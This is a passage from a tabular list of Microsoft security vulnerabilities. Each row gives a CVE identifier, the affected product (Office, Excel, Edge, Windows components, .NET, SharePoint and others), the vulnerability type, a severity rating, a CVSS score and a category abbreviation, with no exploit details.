 Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  